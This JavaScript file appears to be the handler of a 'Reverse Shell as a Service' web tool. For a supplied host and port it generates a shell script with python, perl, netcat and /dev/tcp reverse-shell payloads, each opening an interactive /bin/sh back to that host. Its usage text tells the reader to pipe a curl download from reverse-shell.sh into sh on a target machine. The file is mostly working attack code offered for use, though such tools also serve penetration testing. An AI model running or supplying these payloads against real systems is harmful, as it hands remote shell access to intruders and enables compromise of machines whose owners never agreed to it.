'use strict';

const usage = `# Reverse Shell as a Service
# https://github.com/lukechilds/reverse-shell
#
# 1. On your machine:
#      nc -l 1337
#
# 2. On the target machine:
#      curl https://reverse-shell.sh/yourip:1337 | sh
#
# 3. Don't be a dick`;

const reverseShell = (address = '') => {
	const [host, port] = address.split(':');
	if (!host || !port) {
		return usage;
	}

	const payloads = {
		python: `python -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("${host}",${port})); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);'`,
		perl: `perl -e 'use Socket;$i="${host}";$p=${port};socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'`,
		nc: `rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ${host} ${port} >/tmp/f`,
		sh: `/bin/sh -i >& /dev/tcp/${host}/${port} 0>&1`
	};

	return Object.entries(payloads).reduce((script, [cmd, payload]) => {
		script += `

if command -v ${cmd} > /dev/null 2>&1; then
	${payload}
	exit;
fi`;

		return script;
	}, usage);
};

const handler = (request, response) => {
	const { address } = request.query;

	response.send(reverseShell(address));
};

module.exports = handler;

module.exports.reverseShell = reverseShell;